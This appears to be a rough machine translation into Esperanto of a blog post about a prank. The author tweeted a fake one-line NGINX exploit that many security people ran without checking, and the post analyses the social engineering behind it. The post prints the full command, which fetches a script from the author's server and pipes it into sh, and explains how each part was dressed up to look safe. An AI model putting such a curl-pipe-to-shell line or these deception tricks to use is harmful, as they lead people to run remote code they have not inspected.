Notu. transl.:
TL;DR: Ne uzu dosierdukto en sh aŭ bash en neniu cirkonstanco. Ĉi tio estas bonega maniero perdi kontrolon de via komputilo.
Mi volas dividi kun vi novelon pri komika PoC-eksplodo, kiu estis kreita la 31-an de majo. Li aperis senprokraste en respondo al novaĵoj de
Fininte labori pri nova malklarigtekniko en buklo, mi citis la originalan tweeton kaj "likis funkciantan PoC" konsistantan el ununura linio de kodo, kiu supozeble ekspluatas la malkovritan vundeblecon. Kompreneble, ĉi tio estis kompleta sensencaĵo. Mi supozis, ke mi tuj estos elmontrita, kaj ke en la plej bona kazo mi ricevos kelkajn retweets (ho bone).
Tamen, mi ne povis imagi kio okazis poste. La populareco de mia ĉirpeto eksplodis. Mirinde, nuntempe (15:00 Moskva tempo la 1-an de junio) malmultaj homoj rimarkis, ke tio estas falsaĵo. Multaj homoj retweetigas ĝin tute sen kontroli ĝin (des malpli admirante la belajn ASCII-grafikojn, kiujn ĝi eligas).
Nur rigardu, kiel bela ĝi estas!
Kvankam ĉiuj ĉi tiuj bukloj kaj koloroj estas bonegaj, estas klare, ke homoj devis ruli kodon sur sia maŝino por vidi ilin. Feliĉe, retumiloj funkcias same, kaj kombinite kun la fakto, ke mi ne vere volis eniri en juran problemon, la kodo entombigita en mia retejo nur faris eĥajn vokojn sen provi instali aŭ ekzekuti aldonan kodon.
Malgranda deturniĝo:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Socio-elektronika inĝenierado (VIDU) - pli ol nura phishing
Sekureco kaj konateco estis grava parto de ĉi tiu eksperimento. Mi pensas, ke ili estas kio kondukis al lia sukceso. La komandlinio klare implicis sekurecon per referenco al "127.0.0.1" (la konata lokagastiganto). Localhost estas konsiderata sekura kaj la datumoj sur ĝi neniam forlasas vian komputilon.
Konateco estis la dua ŝlosila SEE-komponento de la eksperimento. Ĉar la celgrupo ĉefe konsistis el homoj konataj kun la bazaĵoj de komputila sekureco, estis grave krei kodon por ke partoj de ĝi ŝajnis konataj kaj konataj (kaj tial sekuraj). Prunti elementojn de malnovaj ekspluatkonceptoj kaj kombini ilin en nekutima maniero pruvis esti tre sukcesa.
Malsupre estas detala analizo de la unu-ekskurso. Ĉio en ĉi tiu listo portas kosmetika naturo, kaj preskaŭ nenio estas postulata por ĝia reala funkciado.
Kiuj komponantoj estas vere necesaj? Ĉi tio -gsS
, -O 0x0238f06a
, |sh
kaj la retservilo mem. La retservilo enhavis neniujn malicajn instrukciojn, sed simple servis ASCII-grafikojn per komandoj echo
en la skripto enhavita en index.html
. Kiam la uzanto eniris linion kun |sh
meze, index.html
ŝarĝita kaj efektivigita. Feliĉe, la gardantoj de la retservilo havis neniujn malbonajn intencojn.
-
../../../%00
— reprezentas iri preter la dosierujo; -
ngx_stream_module.so
— vojo al hazarda NGINX-modulo; -
/bin/sh%00<'protocol:TCP'
- ni supozeble lanĉas/bin/sh
sur la celmaŝino kaj redirekti la eligon al la TCP-kanalo; -
-O 0x0238f06a#PLToffset
- sekreta ingredienco, suplementita#PLToffset
, por aspekti kiel memorofseto iel enhavita en la PLT; -
|sh;
- alia grava fragmento. Ni bezonis redirekti la eligon al sh/bash por ekzekuti la kodon venantan de la atakanta retservilo situanta ĉe0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- maniquí en kiu netcat rilatas al/dev/tcp/localhost
por ke ĉio denove aspektu sekura. Fakte, ĝi faras nenion kaj estas inkluzivita en la linio por beleco.
Ĉi tio finas la malkodigon de la unulinia manuskripto kaj la diskuton de aspektoj de "soci-elektronika inĝenierado" (malsimpla phishing).
Reteja Servilo-Agordo kaj Kontraŭrimedoj
Ĉar la granda plimulto de miaj abonantoj estas infosec/hackers, mi decidis fari la retservilon iom pli rezistema kontraŭ esprimoj de "intereso" siaflanke, nur por ke la uloj havu ion por fari (kaj estus amuze agordi). Mi ne listigos ĉiujn malfacilaĵojn ĉi tie ĉar la eksperimento ankoraŭ daŭras, sed jen kelkaj aferoj, kiujn la servilo faras:
- Aktive kontrolas distribuajn provojn en certaj sociaj retoj kaj anstataŭigas diversajn antaŭrigardajn bildetojn por instigi la uzanton alklaki la ligilon.
- Redirektas Chrome/Mozilla/Safari/ktp al la reklamvideo Thugcrowd anstataŭ montri la ŝelan skripton.
- Rigardas por EVIDAJ signoj de entrudiĝo/evidente hakado, kaj tiam komencas redirekti petojn al NSA-serviloj (ha!).
- Instalas trojanon, kaj ankaŭ BIOS-radikilon, sur ĉiuj komputiloj, kies uzantoj vizitas la gastiganton de regula retumilo (ŝerce!).
Eta parto de antimeroj
En ĉi tiu kazo, mia sola celo estis regi kelkajn el la funkcioj de Apache - precipe, la bonegaj reguloj por alidirekti petojn - kaj mi pensis: kial ne?
Ekspluatado de NGINX (Vera!)
Abonu
fonto: www.habr.com